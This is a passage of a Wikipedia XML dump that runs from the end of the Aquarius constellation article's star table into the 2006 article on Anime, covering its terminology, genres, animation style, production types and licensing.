* &lt; سعد السعودLuck of  ''sa&lt;sup&gt;c&lt;sup&gt;d as-su&lt;sup&gt;c&lt;sup&gt;ūd''    ''sa&lt;sup&gt;c&lt;sup&gt;d as-su&lt;sup&gt;c&lt;sup&gt;ūd''  Luck of lucks
|- style=&quot;background-color:#eeeeee;&quot;
| &amp;alpha; || 34 || [[Alpha Aquarii]], Sadalmelik, Sadal Melik, Sadalmelek, Sadlamulk, El Melik, Saad el Melik, Ruchbah || 2.95 || 760 ||
*  &lt; سعد الملك  ''sa&lt;sup&gt;c&lt;sup&gt;d al-malik/mulk''  Luck of the king/kinghood
* '''Rucbah''' shared with [[Delta Cassiopeiae|&amp;delta; Cassiopeiae]]
|-
| &amp;gamma; || 48 || [[Gamma Aquarii]], Sadachbia, Sadalachbia || 3.86 || 158 ||
* &lt; سعد الأخبية ''sa&lt;sup&gt;c&lt;sup&gt;d[u] al-axbiyah''  Luck of the tents (homes) [''lit.'' hidings/shelters]
|- style=&quot;background-color:#eeeeee;&quot;
| &amp;delta; || 76 || [[Delta Aquarii]], Skat, Scheat, Seat, Sheat || 3.27 || 160 ||
* &lt; ? ''ši'at'' A wish ?
* '''Seat''' shared with [[Pi Aquarii|&amp;pi; Aquarii]]
|-
| &amp;zeta;&amp;sup1;&lt;sup&gt;,&lt;/sup&gt;&amp;sup2; || 55 || [[Zeta Aquarii]] || 3.65 || 105 ||
* [[binary star]]; component magnitudes 4.42, 4.59
|- style=&quot;background-color:#eeeeee;&quot;
| c&amp;sup2; || 88 || [[88 Aquarii]] || 3.68 || 234 ||
|-
| &amp;lambda; || 73 || [[Lambda Aquarii]], Hydor, Ekkhysis || 3.73 || 392 ||
* &lt; ''‘υδωρ'' The water; ''εκχυσις'' The outpouring
|- style=&quot;background-color:#eeeeee;&quot;
| &amp;epsilon; || 2 || [[Epsilon Aquarii]], Albali, Al Bali || 3.78 || 230 ||
* &lt; البالع  ''albāli&lt;sup&gt;c&lt;sup&gt;''  The swallower
|-
| b&amp;sup1; || 98 || [[98 Aquarii]] || 3.96 || 162 ||
|- style=&quot;background-color:#eeeeee;&quot;
| &amp;eta; || 62 || [[Eta Aquarii]] || 4.04 || 184 ||
|-
| &amp;tau;&amp;sup2; || 71 || [[Tau Aquarii|Tau-2 Aquarii]] || 4.05 || 380 ||
|- style=&quot;background-color:#eeeeee;&quot;
| &amp;theta; || 43 || [[Theta Aquarii]], Ancha || 4.17 || 191 ||
* &lt; [[Old High German|OHG]] ancha &quot;the haunch&quot;
|-
| &amp;phi; || 90 || [[Phi Aquarii]] || 4.22 || 222 ||
|- style=&quot;background-color:#eeeeee;&quot;
| &amp;psi;&amp;sup1; || 91 || [[Psi Aquarii|Psi-1 Aquarii]] || 4.24 || 148 ||
|-
| &amp;iota; || 33 || [[Iota Aquarii]] || 4.29 || 173 ||
|- style=&quot;background-color:#eeeeee;&quot;
| b&amp;sup2; || 99 || [[99 Aquarii]] || 4.38 ||  ||
|-
| &amp;psi;&amp;sup2; || 93 || [[Psi Aquarii|Psi-2 Aquarii]] || 4.41 || 322 ||
* [[Be star]]
|- style=&quot;background-color:#eeeeee;&quot;
| k || 3 || [[3 Aquarii]] || 4.43 ||  ||
|-
| c&amp;sup1; || 86 || [[86 Aquarii]] || 4.48 ||  ||
|- style=&quot;background-color:#eeeeee;&quot;
| &amp;omega;&amp;sup2; || 105 || [[Omega Aquarii|Omega-2 Aquarii]] || 4.49 || 154 ||
|-
| &amp;nu; || 13 || [[Nu Aquarii]], Albulaan || 4.50 || 164 ||
* &lt; ? ''al-bula&lt;sup&gt;c&lt;sup&gt;ān''  The (two) swallowers
* '''Albulaan''' shared with [[Mu Aquarii|&amp;mu; Aquarii]].
|- style=&quot;background-color:#eeeeee;&quot;
| &amp;pi; || 52 || [[Pi Aquarii]], Seat || 4.66 || 1100 ||
* '''Seat''' shared with [[Delta Aquarii|&amp;delta; Aquarii]]
* [[Gamma Cassiopeiae variable|Gamma Cassiopeiae type]] [[variable star]]
|-
| &amp;xi; || 23 || [[Xi Aquarii]] || 4.68 || 179 ||
|- style=&quot;background-color:#eeeeee;&quot;
| g || 66 || [[66 Aquarii]] || 4.68 ||  ||
|-
| b&amp;sup3; || 101 || [[101 Aquarii]] || 4.70 ||  ||
|- style=&quot;background-color:#eeeeee;&quot;
| c&amp;sup3; || 89 || [[89 Aquarii]] || 4.71 ||  ||
|-
| &amp;mu; || 6 || [[Mu Aquarii]], Albulaan || 4.73 || 155 ||
* &lt; ? ''al-bula&lt;sup&gt;c&lt;sup&gt;ān''  The (two) swallowers
* '''Albulaan''' shared with [[Nu Aquarii|&amp;nu; Aquarii]].
|- style=&quot;background-color:#eeeeee;&quot;
| &amp;omicron; || 31 || [[Omicron Aquarii]], Kae Uh || 4.74 || 381 ||
* &lt; 蓋屋 (Mandarin ''gaìwū'')  The roof
* [[Gamma Cassiopeiae variable|Gamma Cassiopeiae type]] [[variable star]]
|-
| &amp;sigma; || 57 || [[Sigma Aquarii]] || 4.82 || 265 ||
|- style=&quot;background-color:#eeeeee;&quot;
| A&amp;sup2; || 104 || [[104 Aquarii]] || 4.82 ||  ||
* [[double star]]; component magnitudes 4.82, 8.58
|-
| &amp;chi; || 92 || [[Chi Aquarii]] || 4.93 || 640 ||
|- style=&quot;background-color:#eeeeee;&quot;
| &amp;omega;&amp;sup1; || 102 || [[Omega Aquarii|Omega-1 Aquarii]] || 4.97 || 134 ||
|-
| &amp;psi;&amp;sup3; || 95 || [[Psi Aquarii|Psi-3 Aquarii]] || 4.99 || 249 ||
|- style=&quot;background-color:#eeeeee;&quot;
| &amp;kappa; || 63 || [[Kappa Aquarii]], Situla || 5.04 || 234 ||
* &lt; &quot;the water jar&quot;
|-
| d || 25 || [[25 Aquarii]] || 5.10 ||  ||
|- style=&quot;background-color:#eeeeee;&quot;
| || 47 || [[47 Aquarii]] || 5.12 ||  ||
|-
| || 1 || [[1 Aquarii]] || 5.15 ||  ||
|- style=&quot;background-color:#eeeeee;&quot;
| i&amp;sup3; || 108 || [[108 Aquarii]] || 5.17 ||  ||
|-
| || 97 || [[97 Aquarii]] || 5.19 ||  ||
|- style=&quot;background-color:#eeeeee;&quot;
| || 94 || [[94 Aquarii]] || 5.20 ||  ||
|-
| &amp;upsilon; || 59 || [[Upsilon Aquarii]] || 5.21 || 74.2 ||
|- style=&quot;background-color:#eeeeee;&quot;
| i&amp;sup1; || 106 || [[106 Aquarii]] || 5.24 ||  ||
|-
| || 68 || [[68 Aquarii]] || 5.24 ||  ||
|- style=&quot;background-color:#eeeeee;&quot;
| i&amp;sup2; || 107 || [[107 Aquarii]] || 5.28 ||  ||
|-
| || 32 || [[32 Aquarii]] || 5.29 ||  ||
|- style=&quot;background-color:#eeeeee;&quot;
| || 41 || [[41 Aquarii]] || 5.33 ||  ||
|-
| || 42 || [[42 Aquarii]] || 5.34 ||  ||
|- style=&quot;background-color:#eeeeee;&quot;
| &amp;rho; || 46 || [[Rho Aquarii]] || 5.35 || 740 ||
|-
| A&amp;sup1; || 103 || [[103 Aquarii]] || 5.36 ||  ||
|- style=&quot;background-color:#eeeeee;&quot;
| e || 38 || [[38 Aquarii]] || 5.43 ||  ||
|-
| h || 83 || [[83 Aquarii]] || 5.44 ||  ||
|- style=&quot;background-color:#eeeeee;&quot;
| || 18 || [[18 Aquarii]] || 5.48 ||  ||
|-
| || 21 || [[21 Aquarii]] || 5.48 ||  ||
|- style=&quot;background-color:#eeeeee;&quot;
| || 7 || [[7 Aquarii]] || 5.49 ||  ||
|-
| || 12 || [[12 Aquarii]] || 5.53 ||  ||
* [[double star]]; component magnitudes: 5.89, 7.31
|- style=&quot;background-color:#eeeeee;&quot;
| || 49 || [[49 Aquarii]] || 5.53 ||  ||
|-
| || 77 || [[77 Aquarii]] || 5.53 ||  ||
|- style=&quot;background-color:#eeeeee;&quot;
| || 5 || [[5 Aquarii]] || 5.55 ||  ||
|-
| f || 53 || [[53 Aquarii]] || 5.55 ||  ||
* [[double star]]; component magnitudes: 6.35, 6.57
|- style=&quot;background-color:#eeeeee;&quot;
| || 30 || [[30 Aquarii]] || 5.55 ||  ||
|-
| || 96 || [[96 Aquarii]] || 5.56 ||  ||
|- style=&quot;background-color:#eeeeee;&quot;
| || 26 || [[26 Aquarii]] || 5.66 ||  ||
|-
| &amp;tau;&amp;sup1; || 69 || [[Tau Aquarii|Tau-1 Aquarii]] || 5.68 || 260 ||
|- style=&quot;background-color:#eeeeee;&quot;
| || 19 || [[19 Aquarii]] || 5.71 ||  ||
|-
| || 44 || [[44 Aquarii]] || 5.75 ||  ||
|- style=&quot;background-color:#eeeeee;&quot;
| h ||  || [[h Aquarii]] || 5.76 ||  ||
|-
| || 50 || [[50 Aquarii]] || 5.76 ||  ||
|- style=&quot;background-color:#eeeeee;&quot;
| || 51 || [[51 Aquarii]] || 5.79 ||  ||
|-
| || 35 || [[35 Aquarii]] || 5.80 ||  ||
|- style=&quot;background-color:#eeeeee;&quot;
| || 74 || [[74 Aquarii]] || 5.80 ||  ||
|-
| || 15 || [[15 Aquarii]] || 5.83 ||  ||
|- style=&quot;background-color:#eeeeee;&quot;
| || 16 || [[16 Aquarii]] || 5.87 ||  ||
|-
| || 60 || [[60 Aquarii]] || 5.88 ||  ||
|- style=&quot;background-color:#eeeeee;&quot;
| || 45 || [[45 Aquarii]] || 5.96 ||  ||
|-
| || 2 || [[2 Aquarii]] || 5.99 ||  ||
|- style=&quot;background-color:#eeeeee;&quot;
| || 17 || [[17 Aquarii]] || 5.99 ||  ||
|-
| || 39 || [[39 Aquarii]] || 6.04 ||  ||
|- style=&quot;background-color:#eeeeee;&quot;
| || 82 || [[82 Aquarii]] || 6.18 ||  ||
|-
| || 70 || [[70 Aquarii]] || 6.19 ||  ||
|- style=&quot;background-color:#eeeeee;&quot;
| || 78 || [[78 Aquarii]] || 6.20 ||  ||
|-
| || 11 || [[11 Aquarii]] || 6.21 ||  ||
|- style=&quot;background-color:#eeeeee;&quot;
| || 81 || [[81 Aquarii]] || 6.23 ||  ||
|-
| || 100 || [[100 Aquarii]] || 6.24 ||  ||
|- style=&quot;background-color:#eeeeee;&quot;
| || 56 || [[56 Aquarii]] || 6.36 ||  ||
|-
| || 20 || [[20 Aquarii]] || 6.38 ||  ||
|- style=&quot;background-color:#eeeeee;&quot;
| || 29 || [[29 Aquarii]] || 6.39 ||  ||
|-
| || 58 || [[58 Aquarii]] || 6.39 ||  ||
|- style=&quot;background-color:#eeeeee;&quot;
| || 61 || [[61 Aquarii]] || 6.40 ||  ||
|-
| || 37 || [[37 Aquarii]] || 6.64 ||  ||
|- style=&quot;background-color:#eeeeee;&quot;
| || 24 || [[24 Aquarii]] || 6.66 ||  ||
|-
| || || [[EZ Aquarii]] || 12.66 || 11.26 ||
* [[flare star]]
* nearby
|}
Source: &lt;cite&gt;The Bright Star Catalogue, 5th Revised Ed.&lt;/cite&gt;, &lt;cite&gt;The Hipparcos Catalogue, ESA SP-1200&lt;/cite&gt;

== See also ==
{{Zodiac}}
{{ConstellationsListedByPtolemy}}
{{ConstellationList}}

== References ==
* {{1911}}

== External links ==
{{Commons|Aquarius}}

* [http://www.allthesky.com/constellations/aquarius/ The Deep Photographic Guide to the Constellations: Aquarius]
* [http://www.nightskyinfo.com/constellations/aquarius/ NightSkyInfo.com: Constellation Aquarius]

[[Category:Aquarius constellation|Aquarius constellation]]
[[Category:Astrological signs]]

[[ca:Aquari (constel·lació)]]
[[cs:Vodnář (souhvězdí)]]
[[da:Vandmanden (stjernebillede)]]
[[de:Wassermann (Sternbild)]]
[[es:Aquarius]]
[[eo:Akvisto]]
[[fr:Verseau]]
[[ga:An tUisceadóir]]
[[ko:물병자리]]
[[id:Aquarius]]
[[it:Acquario (astronomia)]]
[[ka:მერწყული]]
[[la:Aquarius (sidus)]]
[[lt:Vandenis]]
[[nl:Waterman]]
[[ja:みずがめ座]]
[[nn:Vassmannen]]
[[pl:Wodnik (gwiazdozbiór)]]
[[pt:Aquarius]]
[[ru:Водолей (созвездие)]]
[[sk:Súhvezdie Vodnár]]
[[fi:Vesimies]]
[[sv:Vattumannen]]
[[th:กลุ่มดาวคนแบกหม้อน้ำ]]
[[zh:寶瓶座]]</text>
    </revision>
  </page>
  <page>
    <title>Anime</title>
    <id>800</id>
    <revision>
      <id>42138622</id>
      <timestamp>2006-03-04T01:57:14Z</timestamp>
      <contributor>
        <username>Gmcfoley</username>
        <id>416367</id>
      </contributor>
      <minor />
      <comment>/* See also */</comment>
      <text xml:space="preserve">{{Portalpar|Anime and manga}}
'''Anime''' (アニメ) is a style of [[animated cartoon|cartoon animation]] originating in [[Japan]]. Anime is characterized by character and background styles which may be created by hand or may be assisted by computers. Storylines may feature a variety of [[Fictional character|characters]] and may be set in different locations and in different eras. Anime is aimed at a broad range of audiences because there are a wide range of different [[genre]]s that any series may be categorised under. Anime may be broadcast on [[television]], distributed on media, such as [[DVD]]s, or published as [[console]] and [[computer]] [[games]]. Anime is often influenced by Japanese [[comics]] known as [[manga]]. Anime may also be adapted into [[live action]] television programs.

[[Image:Cowboy_bebop01.jpg|frame|A scene from ''[[Cowboy Bebop]]'' (1998)]]
__TOC__
&lt;br style=&quot;clear:both&quot; /&gt;

==History==
[[Image:Astroboy.png|right|thumb|Atom, star of the long-running science fiction series ''[[Astro Boy|Mighty Atom]]'' (also known as [[Astro Boy]] to Western audiences).]]
{{main|History of anime}}
The '''history of [[anime]]''' begins at the start of the 20th century, when [[Japan]]ese [[filmmaker]]s experimented with the [[animation]] techniques that were being explored in the West. During the 1970s, anime developed further, separating itself from its Western roots, and developing unique genres such as [[mecha]]. In the 1980s, anime was accepted in the [[mainstream]] in Japan, and experienced a [[boom]] in production. The 1990s and 2000s saw an increased acceptance of anime in overseas markets.

==Terminology==
The [[Japanese language|Japanese]] term for animation is アニメーション
(''animēshon'', pronounced: {{IPA|/ɑnimɛːʃɔn/}}), written in [[katakana]]. It is a direct [[transliteration]] and reborrowed [[loanword]] of the English term &quot;[[animation]].&quot; The Japanese term is abbreviated as アニメ (''anime'', pronounced: {{IPA|/ɑnimɛ/}} ). Both the original and abbreviated forms are valid and interchangeable in Japanese, but as could be expected the abbreviated form is more commonly used. The term is a broad one, and does not specify an animation's nation of origin or style.

'''Pronunciation'''

The [[English language|English]] word ''anime'' is a [[transliteration]] of the abbreviated version of this Japanese term, and it is typically pronounced as {{IPA|/ˈænɪˌmei/}}, or &quot;ANN ih may&quot; (&quot;AH nee may&quot; is a less common variant). 

Some theorize the word comes from the [[French language|French]] ''animé'' (&quot;animated&quot;) or &quot;les dessins animés&quot; (animated drawings) and pronounce it as &quot;ah nee MAY&quot;, though the Japanese themselves deny this theory, and the fact that it is written in Japanese syllables as アニメ (''anime'') rather than アニメイ (''animei'') further lowers its credibility.

As with a few other Japanese words such as ''[[Pokémon]]'' and [[Kobo Abe|Kobo Abé]], ''anime'' is sometimes spelled as ''animé'' in English with an [[acute accent]] over the final ''e'' to cue the reader that the letter is pronounced as {{IPA|[e]}}. Hence, the pronunciations &quot;ah NEEM&quot; and &quot;uh NEEM&quot; are generally considered incorrect.

'''Syntax'''

''Anime'' can be used as a common [[noun]], ''&quot;Do you watch anime?&quot;'' or as a suppletive [[adjective]], ''&quot;The anime Guyver is different from the movie Guyver.&quot;'' It may also be used as a [[mass noun]], as in ''&quot;How much anime have you collected?&quot;'' and therefore is never pluralized &quot;animes&quot; (nouns are never pluralized in Japanese).

'''Synonyms'''

Anime is sometimes referred to by the [[blend (linguistics)|blend word]] '''Japanimation''', but this term has fallen into disuse. It saw the most usage during the 1970s and 1980s, which broadly comprise the first and second waves of anime [[fandom]]. The term survived at least into the early 1990s but seemed to fade away shortly before the mid-1990s anime resurgence. In general, the term now only appears in nostalgic contexts. The term is much more commonly used within Japan to refer to domestic animation. Since ''anime'' or ''animēshon'' is used to describe all forms of animation, ''Japanimation'' is used to distinguish Japanese work from that of the rest of the world.

In more recent years, anime has also frequently been referred to as ''manga'' in Europe, a practice that may stem from the Japanese usage: In Japan, ''[[manga]]'' can refer to both animation and comics (although the use of ''manga'' to refer to animation is mostly restricted to non-fans). Among English speakers, ''manga'' usually has the stricter meaning of &quot;Japanese comics&quot;. An alternate explanation is that it is due to the prominence of [[Manga Entertainment]], a distributor of anime to the US and UK markets; because Manga Entertainment started out in the UK, this use of the term is much more common in Europe.

==Characteristics==
[[Image:Dragonballz.jpg|thumb|230px|right|[[Dragon Ball Z]] is one of the most popular [[shōnen]] anime.]]

Anime features a wide variety of artistic styles which vary from artist to artist and is characterized by stark, colorful graphics and stylized, colorful images depicting vibrant characters in a variety of different settings and storylines, aimed at a wide range of audiences. 

===Genres===
Anime has many genres, with as many as traditional, [[live action]] cinema. Such genres include adventure, [[science fiction]], children's stories, [[Romantic love|romance]], medieval [[fantasy]], [[erotica]] ([[hentai]]), occult/horror, action, and [[drama]]. 

Most anime includes content from several different genres, as well as a variety of thematic elements. This can make categorizing some titles very difficult. A show may have a seemingly simple surface plot, but at the same time may feature a far more complex, deeper storyline and character development. It is not uncommon for a strongly action themed anime to also involve humor, romance, and even poignant [[social commentary]]. The same can be applied to a romance themed anime in that it may involve a strong action element.

Genres and designations that are specific to anime and manga:
:''(For other possible genres, see [[list of movie genres]].)''
*[[Bishōjo]]: Japanese for 'beautiful girl', blanket term that can be used to describe any anime that features pretty girl characters, for example ''[[Magic Knight Rayearth]]''
*[[Bishōnen]]: Japanese for 'beautiful boy' blanket term that can be used to describe any anime that features &quot;pretty&quot; and elegant boys and men, for example ''[[Fushigi Yūgi]]''
*[[Ecchi]]: Japanese for 'indecent sexuality'. Contains mild sexual humor, for example ''[[Love Hina]]''.
*[[Hentai]]: Japanese for 'abnormal' or 'perverted', and used by Western Audiences to refer to pornographic anime or [[erotica]]. However, in Japan the term used to refer to the same material is typically ''Poruno'' or ''Ero''.
*[[Josei]]: Japanese for 'young woman', this is anime or manga that is aimed at young women, and is one of the rarest forms.
*[[Kodomo]]: Japanese for 'child', this is anime or manga that is aimed at young children, for example ''[[Doraemon]]''.
*[[Mecha]]: Anime or manga featuring giant robots, example ''[[Mobile Suit Gundam]]''.
*[[Moé]]: Anime or manga featuring characters that are extremely perky or cute, for example ''[[Little Snow Fairy Sugar]]''.
*[[progressive anime|Progressive]]: &quot;Art films&quot; or extremely stylized anime, for example ''[[Voices of a Distant Star]]''.
*[[Seinen]]: Anime or manga similar to Shōnen, but targeted at teenage or young male adults, for example ''[[Oh My Goddess!]]''.
*[[Super Sentai|Sentai/Super Sentai]]: Literally &quot;fighting team&quot; in Japanese, refers to any show that involves a superhero team, for example ''[[Cyborg 009]]''.
*[[Shōjo]]: Japanese for 'young lady' or 'little girl', refers to anime or manga targeted at girls, for example ''[[Fruits Basket]]''.
**[[Magical girl|Mahō Shōjo]]: Subgenre of Shoujo known for 'Magical Girl' stories, for example ''[[Sailor Moon]]''.
*[[Shōjo-ai]]: Japanese for 'girl-love', refers to anime or manga that focus on love and romance between female characters, for example ''[[Revolutionary Girl Utena]]''.
*[[Shōnen]]: Japanese for 'boys', refers to anime or manga targeted at boys, for example ''[[Dragon Ball Z]]''.
*[[Shōnen-ai]]: Japanese for 'boy-love', refers to anime or manga that focus on love and romance between male characters. This term is being phased out in Japan due to references to [[pedophilia]], and is being replaced by the term &quot;Boys Love&quot; (BL). An example of this style is ''[[Gravitation (manga)|Gravitation]]''.

Some anime titles are written for a very specific audience, even narrower than those described above.  For example, ''[[Initial D]]'' and ''[[EX-Driver|éX-Driver]]'' concern [[street racing]] and car tuning.  ''[[Ashita No Joe]]'' is about [[boxing]].  ''[[Hanaukyo Maid Team]]'' is based on the [[French maid]] fantasy.

Recently, the ''National Child Exploitation Coordination Centre of Canada'' has incorrectly classified all anime as [[hentai]], giving an improper impression of the content of most anime and manga series. This occurred despite having linked to this Wikipedia page in order to establish a definition of terms. The site can be viewed at the following link: [http://ncecc.ca/fact_sheets/anime_e.htm]. Complaints about the article's content and improper citations caused the NCECC to revise the citations but not the content.

===Music===
Much like western live-action cinema, anime uses music as an important artistic tool. Anime soundtracks are big business in Japan, and are often times met with similar demand as [[chart-topper|chart topping]] pop albums. It is for this reason that anime music is often composed and performed by 'A-list' musicians, stars, and composers. Skilled BGM composers are highly respected in the anime fan community. Anime series with opening credits use the opening theme song as a quick introduction to the show. 

The most frequent use of music in Anime is ''background music'' or ''BGM''. BGM is used to set the tone of a given scene, for example ''[[Neon Genesis Evangelion]]'' 's &quot;Decisive Battle&quot; is played when the characters are making battle preparations and it features heavy drum beats and a militaristic style which highlights the tension of the scene and hints at the action to follow. 

The theme song (also referred to as the Opening song or abbreviated as OP) usually matches the overall tone of the show, and serves to get the viewer excited about the upcoming program. Insert songs and ending songs (abbr. ED) often make commentary about the plot or the program as a whole, and are often times used to highlight a particularly important scene. Opening and ending themes, as well as insert songs, are frequently performed by popular musicians or Japanese [[japanese idol|idols]], so in this way, songs become a very important component of an anime program. In addition to the themes, the seiyū for a specific anime also frequently releases CD for their character, called Image Albums. Despite the word &quot;image&quot; in the CD's name, it only contains music and/or &quot;voice messages&quot; (where the seiyū talks with the audience or about herself), making the listener think that the character him/herself is singing. Another type of Anime CDs release are Drama CD, featuring songs and tracks which makes use of the seiyū to tell a story, often not included in the main anime.

==Animation style==
[[Image:Lum-Uresei-Yatsura.png|thumb|250px|right|Lum from ''[[Urusei Yatsura]]'', an iconic anime character.]]

The drawing style used in anime is counter productive to the animation process, having far too many details and subsequently making it difficult to keep the number of drawings comparable to other cartoons with design ethics that stress simplicity. This may be due to a philosophy of applying more effort into each of a few drawings than less effort into one of many.

[[Osamu Tezuka]] adapted and simplified many [[Walt Disney Pictures|Disney]] animation precepts to reduce the budget costs and number of frames in the production, though it should be noted that Disney films made in the west are not anime. This was intended to be a temporary measure to allow him to produce one episode every week with an inexperienced animation staff. Anime studios have since perfected techniques to draw as little new animation as possible, using scrolling or repeating backgrounds, still shots of characters sliding across the screen, and dialogue which involves only animating mouths while the rest of the screen remains absolutely still, a technique not wholly unfamiliar to Western animation. The overall effect of these techniques, such as reduced [[frame rate]], several still shots and scrolling backgrounds, has led some critics to accuse anime of choppiness or poor quality in general. ''(See also [[limited animation]].)''

There are often scenes where the frame rate of the animation far exceeds the quality of the rest of the production. These are commonly referred to as &quot;money shots&quot; outside of Japan, where more effort is put into the animation of one scene to give it emphasis over the rest of the work. Animator [[Yasuo Otsuka]] was the pioneer of this technique.

Exceptions to these rules are early classic films, such as those produced by [[Toei Animation]] up until the mid 1960s, and recent big budget films, such as those produced by the enormously successful [[Studio Ghibli]]. These movies have much higher production values, due to their anticipated success at the box office. Some animators in Japan overcome production values by utilizing different techniques than the Disney or the old Tezuka/Otsuka methods of animating anime.  Directors such as [[Hiroyuki Imaishi]] (''[[Cutey Honey]]'', ''[[Dead Leaves]]'') simplify backgrounds so that more attention can be paid to character animation. Other animators like Tatsuyuki Tanaka (in [[Koji Minamoto]]'s ''Eternal Family'' in particular) use [[squash and stretch]], an animation technique not often used by Japanese animators; Tanaka makes other shortcuts to compensate for this. Some higher-budgeted television and OVA ([[Original Video Animation]]) series also forego the shortcuts found in most other anime.

While different titles and different artists have their own unique artistic styles, many stylistic elements have become extremely common. Some examples have become so common that they are often described as being definitive of anime in general, and have been given names of their own. The most common is the large eyes style drawn on many anime characters, common mainly due to the influence of [[Osamu Tezuka]], who was inspired by the exaggerated features of Western cartoon characters such as [[Betty Boop]] and [[Mickey Mouse]] and from Disney's ''[[Bambi]]''. Tezuka found that large eyes allowed his characters to better express their emotions. Some Western audiences have interpreted such stylized eyes as more Caucasian. Cultural anthropologist [[Matt Thorn]] argues that Japanese animators and audiences do not perceive them as inherently more or less foreign. {{ref|refbot.15}} When Tezuka began drawing ''[[Princess Knight|Ribbon no Kishi]]'', the first manga specifically targeted at young girls, Tezuka further exaggerated the size of the characters' eyes. Indeed, through ''Ribbon no Kishi'', Tezuka set a stylistic template that later ''shōjo'' artists tended to follow. Another variation of this style is &quot;[[chibi]]&quot; or &quot;[[super deformed]]&quot;; which usually feature huge eyes, an enlarged head, and small body.

Other stylistic elements are common as well; often in comedic anime, characters that are shocked or surprised will perform a &quot;face fault&quot;, in which they display an extremely exaggerated expression. Angry characters may exhibit a &quot;vein&quot; or &quot;stressmark&quot; effect, where lines representing bulging veins will appear on their forehead. Angry women will sometimes summon a mallet from nowhere and strike someone with it, leading to the concept of [[Hammerspace]]. Male characters will develop a [[bloody nose]] around their female love interests (typically to indicate arousal) -- this is supposedly due to blood rushing to the face in an exaggerated blush. Embarrassed characters will invariably produce a massive [[sweat-drop]], which has become something of a stereotype of anime.

The degree of stylization varies from title to title.  Some titles make extensive use of common stylization: ''[[FLCL]]'', for example, is known for its wild, exaggerated, stylization. In contrast, titles such as ''[[Only Yesterday]]'', a film by [[Isao Takahata]], take a much more realistic approach, and feature no stylistic exaggerations.

Another unique aspect of anime not found in other commercial animation markets is the lack of a directoral system. In most animation produced around the world animators are all forced to conform to a set style by the director or animation director. In Japan starting with the animation director [[Yoshinori Kanada]] (as a means to save time and money) each animator brings his/her own style to the work. The most extreme examples of this can be found in ''[[Mindgame]]'' or ''[[The Hakkenden]]''. ''The Hakkenden'' is particularly extreme, showing constantly shifting styles of animation based upon the key animator that worked on that particular episode.  This approach combined with Otsuka's &quot;money shots&quot; make key animators important individuals in the style and production of an anime film.

Many non-Japanese cartoons are starting to incorporate mainstream anime shortcuts and symbols to appeal to anime's tremendously growing fanbase and cut costs.

==Production types of anime==
Most anime can be categorized as one of three types:

*'''Films''', which are generally released in theaters, represent the highest budgets and generally the highest video quality. Popular anime movies include ''[[Akira (film)|Akira]],'' ''[[Ghost in the Shell]]'', and ''[[Spirited Away]]''. Some anime [[film]]s are only released at film or animation festivals and are shorter and sometimes lower in production values. Some examples of these are ''[[Winter Days]]'', and [[Osamu Tezuka]]'s ''[[Legend of the Forest]]''. Other types of films include [[compilation movie]]s, which are television episodes edited together and presented in theaters for various reasons, and are hence a concentrated form of a television [[serial]]. These may, however, be longer than the average movie. There are also theatrical shorts derived from existing televisions series and billed in Japanese theaters together to form feature-length showing. 

*'''Television series''' anime is [[Television syndication|syndicated]] and broadcast on television on a regular schedule. [[Television program|Television series]] are generally low quality compared to OVA ([[Original Video Animation]]) and film titles, because the production budget is spread out over many episodes rather than a single film or a short series. Most episodes are about 23 minutes in length, to fill a typical thirty-minute time slot with added [[Television commercial|commercials]]. One full season is 26 episodes, and many titles run half seasons, or 13 episodes. Most TV series anime episodes will have [[opening credits]], [[closing credits]], and often an &quot;[[eyecatch]]&quot;, a very short scene, often humorous or silly, that is used to signal the start or end of the commercial break (as &quot;bumpers&quot; in the United States are used in a similar fashion). &quot;Eyecatch&quot; scenes are often found in TV series anime and are generally similar throughout the series.  

*'''OVA''' ('''[[Original Video Animation]]'''; sometimes  '''OAV''', or '''Original Animated Video''') anime is often similar to a television [[miniseries]]. OVAs are typically two to twenty episodes in length; [[one-shot]]s are particularly short, usually less than film-length. They are most commonly released directly to video. As a general rule OVA anime tends to be of high quality, approaching that of films.  Titles often have a very regular, continuous plot best enjoyed if all episodes are viewed in sequence. Popular OVA titles include ''[[FLCL]]'', ''[[Bubblegum Crisis]]'', and ''[[Tenchi Muyo!]]''. Opening credits, closing credits, and eyecatches may sometimes be found in OVA releases, but not universally.

'''Franchising'''

It is very common for one title to spawn several different releases.  A title that starts as a popular television series might then have a movie produced at a later date. A good example is ''Tenchi Muyo!''. Originally an OVA, it spawned three movies, three television series, and several spinoff titles and specials.

Not all successors to an anime are a sequel to the original story. Prequels and alternate stories are commonly adapted from the original.

==Licensing and distribution==
Anime is available outside of Japan in localized form. Licensed anime is modified by [[Western world|Western]] distributors through [[Dubbing (filmmaking)|dubbing]] into the language of the country. The anime may also be [[edited movie|edited]] to alter cultural references that may not be understood by a non-Japanese person and companies may remove what may be perceived as objectionable content. For the fans who may object to the editing and dubbing of anime, DVDs may be their preference. DVD releases often include both the dubbed audio and the original Japanese audio with [[subtitle]]s, are typically unedited, and lack [[Television commercial|commercial]]s.

'''Fansubs'''

Although it is a violation of [[copyright]] laws in many countries, some fans watch [[fansub]]s, recordings of anime series that have been subtitled by fans. Watching subtitled Japanese versions is usually seen as the intended method of watching anime by enthusiasts. The ethical implications of producing, distributing, or watching fansubs is a topic of much controversy even when fansub groups do not profit from and cease distribution of their work once the series has been licensed.

:''See [[fansub]] for further discussion of ethical issues of fansubbing''

==See also==
[[Image:Laputa-robot-ghibli.jpg|right|thumb|250px|A life-size model of a [[robot]] from the animation ''[[The Castle in the Sky|Laputa]]'' on top of the [[Ghibli Museum]] in [[Mitaka, Tokyo]].]]
*[[Animated cartoon]]
*[[Animation]]
*[[Anime industry]]
*[[Anime physics]]
*[[History of anime|History of Anime]]
*[[Manga]]
*[[Traditional animation]]
*[[Amerime]]
*[[Editing of anime in international distribution]]

'''Terminology'''
*[[Anime music video|Anime Music Video]]
*[[Catgirl]]
*[[Chibi]]
*[[Cosplay]]
*[[Dōjinshi|Dōjinshi or Doujinshi]]
*[[Dorama]]
*[[Eroge]]
*[[Ganguro]]
*[[Guro]]
*[[Hentai]]
*[[J-pop]]
*[[Lolicon]]
*[[Otaku]]
*[[Seiyū]]
*[[Shota]]
'''Licensing and translation'''
*[[Editing of anime in international distribution]]
*[[Fansub]]
*[[Wikt:Glossary:Japanese film credit terms|Glossary:Japanese film credit terms]]

'''Lists'''
*[[Animated television series]]
*[[Anime characters|Anime Characters]]
*[[List of anime companies|Anime Companies]]
*[[List of anime conventions|Conventions]]
*[[List of anime]]
**[[Notable anime]]
**[[Anime theatrically released in America]]
*[[Notable names in anime]] (directors, creators, and so forth)

==References==
